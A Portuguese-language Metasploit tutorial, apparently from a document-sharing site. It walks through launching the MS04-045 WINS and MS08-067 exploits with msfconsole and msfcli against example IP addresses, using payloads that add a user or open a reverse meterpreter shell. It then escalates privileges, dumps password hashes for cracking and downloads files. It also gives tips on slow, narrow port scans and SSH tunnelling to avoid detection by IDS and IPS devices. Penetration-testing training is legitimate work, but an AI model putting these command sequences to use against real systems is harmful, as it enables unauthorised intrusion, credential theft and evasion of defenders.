Metasploit

Fazer download em docx, pdf ou txt
Fazer download em docx, pdf ou txt
Você está na página 1de 10

O Metasploit é um framework criado por H.D.

Moore, que serve para elaboração e


execução de um repositório de exploits.

Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho
realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele.
Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável
pelos seus actos.

De qualquer forma, e devido a certos requisitos dos testes de intrusão deverão usar
sempre proxy a não ser que usem um Lab com VM´s

Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que
simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos
(msfcl)

A interface gráfica é o msfweb - Interface gráfica via browser

Vou usar o linux mas há também a versão para windows. Então levando em
consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista
sobre a utilização desta SUPER PODEROSA FERRAMENTA... um sonho tornado
realidade... para mim que ainda me lembro quando para fazer isto era preciso dezenas
de tools e procedimentos... agora tá tudo integrado numa plataforma/framework.

Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para
que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de
exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...

Vejam também a, digamos, o irmão web que é a excelente w3af "Web Application
Attack and Audit Framework."

Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me
nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês
explorarem... explorem os payloads, os exploits e todos os outros utilitários. Podem
fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads"
ou "show exploits", entre outros.)

msfconsole - metasploit em modo console

msfcli - interface de automatização de penetração e exploração

msflogdump - exibe sessões de arquivos de log

msfplayload - usado para gerar payloads customizados

msfpescan - utilizado para analisar e descompilar executáveis e DLLs


msfencode - um codificador interactivo de payload encoder

msfupdate - utilizado para verificar e fazer download de actualização do framework

msfweb - Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do
detector de vulnerabilidades automático, o NeXpose Community Edition... ele detecta
as vulnerabilidades e integra-se com o metasploit.

Nexpose (Detector de vulnerabilidades)

http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje até o nmap têm
scripts para detectar vulnerabilidades, que são a principal questão no exploitation... é a
partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do
software alvo e do SO... em alguns casos no windows até a língua em que o windows
esta.

Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do
mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma
vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan
especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguém
tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um
scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que
é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser
que não haja qualquer equipamento especial, como acontece na maioria dos datacenters
para as contas mais baixas. As mais usadas.

Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo


(o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a
detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm
diversas técnicas de evasão, como spoofing, etc... explorem a documentação)

Nessus (Detector de vulnerabilidades)

http://www.nessus.org/nessus/

O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição -
Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos,
fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades,
mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para
coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas


ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro ♂️‍  aprenderá
sozinho o restante... como sempre dou a base para futuras explorações. Ajuda ao ensino
e evita script kiddies
msfconsole:

Primeiramente digita-se na linha de comando :

[root]#./msfconsole
se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como:
(neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O
comando show serve para outras coisas como payloads e opções. Ver em detalhe)

Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos
de consola. Atenção que isto são apenas os comandos de consola e não todas as suas
funcionalidades.
Como vimos na primeira imagem do metasploit e a nível formativo, pois no mundo a
sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que
vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida

desta forma:

msf > show


msfconsole: show: requires an option: 'exploits', 'payloads',
'encoders', or 'nops'
msf >
Viram que apareceram as opções deste comando. O mesmo acontece com outros
comandos, pois podem ir assim explorando a framework.

Para saberem quais os exploits que existem nesta framework (desde a ultima
actualização, devem ir actualizando o metasploit que está em constante evolução) basta
digitar o comando:

msf >show exploits;


 
Para saber os payloads que existem neste framework basta digitar o comando: show
payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando


“use”:

msf > use wins_ms04_045


msf wins_ms04_045 >
viram que eu escolhi o wins_ms04_045 e o prompt mudou. Utilizando para isto o
comando: use

continuando...

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele
aceita . Vejamos:

msf wins_ms04_045 > show


msfconsole: show: specify 'targets', 'payloads', 'options', or
'advanced'
msf wins_ms04_045 >
Vimos aqui que ele aceita targets, payloads, options ou advanced.

Vamos verificar quais opções que este exploit já seleccionado aceita:

msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description


-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >


Este exploit aceita somente duas opções : o ip alvo e a porta alvo.

Agora deves estar a perguntar... como faço para utilizar isto. Simples, basta configurar o
que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais
complexidade e vectores são adicionados, diferenciando cada vez mais os exploits),
lembrando que onde estiver escrito required, significa que estas opções tem que ser
configuradas obrigatoriamente para o exploit funcionar. Continuando...

Façamos assim:

msf wins_ms04_045 > set RHOST 200.126.35.34


RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42


RPORT -> 42
msf wins_ms04_045 >
Vejam que utilizei a mesma porta que o valor por default...

Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é
que um software acoplado ao exploit para fazer as mais variadas tarefas.

Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show
payloads

msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads


====================================

win32_adduser Windows Execute net user /ADD


win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter
Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server
Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >


Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um
utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há
payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o
meterpreter)

O meterpreter é um complexo payload que é uma espécie de shell especial para


cracking, com funcionalidades especificas para isso. Algo que já falei bastante
também.

Documento onde é detalhado twcnicamente o meterpreter:

http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com


meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma
sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas
pensam que como vem de dentro da rede é confiável.

Assim:

msf wins_ms04_045 > set PAYLOAD win32_adduser jolie


PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>
Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho
comando : show, só que agora assim: show targets
msf wins_ms04_045 > show targets

Supported Exploit Targets


=========================

0 Windows 2000 English

msf wins_ms04_045 >

Só temos uma opcao aqui, somente o windows 2000 em ingles é


vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0


TARGET -> 0
msf wins_ms04_045 >
tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena chegar aqui...
pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso
exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se
faziam em separado e com muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo.
ATENÇÃO. Só usar alvos virtuais ou máquinas vossas

msf wins_ms04_045 > exploit


E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.
O msfcli é utilizado para poder fazer tudo de uma só vez. Não precisando do passo a
passo descrito acima. Se nós ja conhecemos o exploit isto agiliza

muito o nosso trabalho na linha de comando digitamos assim:

[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42


PAYLOAD=win32_adduser teste TARGET=0 E
e vejam que faz a mesma coisa que no modo console.

Caso o exploit se direcione a um serviço sem privilégios especiais pode-se usar um


exploit local para escalar privilégios ou os seguintes comandos do meterpreter. Atenção
que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção
do payload escolher um especial com o meterpreter, como por exemplo
win32_reverse_meterpreter)

E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em


baixo.

meterpreter> use priv


meterpreter> getsystem
Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com
outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de
passwords.

Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas...
garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passwords com o meterpreter e fazer o
download para depois as crackarem com algum dos programas anteriormente
mencionados.

.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c
Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo
comprometido.
meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino
Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do "hashdump"
num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords
interessantes.

(investiguem também a familia Pwdump... muito interessante para certas situações.)

  Citação
pwdump is the name of various Windows programs that output the LM and NTLM
password hashes of local user accounts from the Security Account Manager (SAM). In
order to work, it must be run under an Administrator account, or be able to access an
Administrator account on the computer where the hashes are to be dumped; so Pwdump
does not compromise security. Most of these programs are open-source.

http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores”


e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão
adorar esta forma, que é um GUI (Grafical User Interface... mas no mundo dos exploits?
Sim... vejam)

Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma
pagina web, todas as funcionalidades aplicaveis estão lá.

Para acederem ao GUI do metasploit façam:

[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)
Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1...
Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um
pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no
alvo vão (ou não) usar a consola, pois é mais...

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente
seleccionando.

Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e
podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra
dedicado às novas appliances PANDA

Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o
que vai dentro dessa sessão.

É uma das mais usadas técnicas de evasão,

Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o
metasploit)

http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-
partir-de-um-tunel-ssh/

Podem ver muitos videos que até já apresentei alguns, com tudo isto em "real" e muito
mais... investiguem por ai, pois há magia no ar

teckV

Você também pode gostar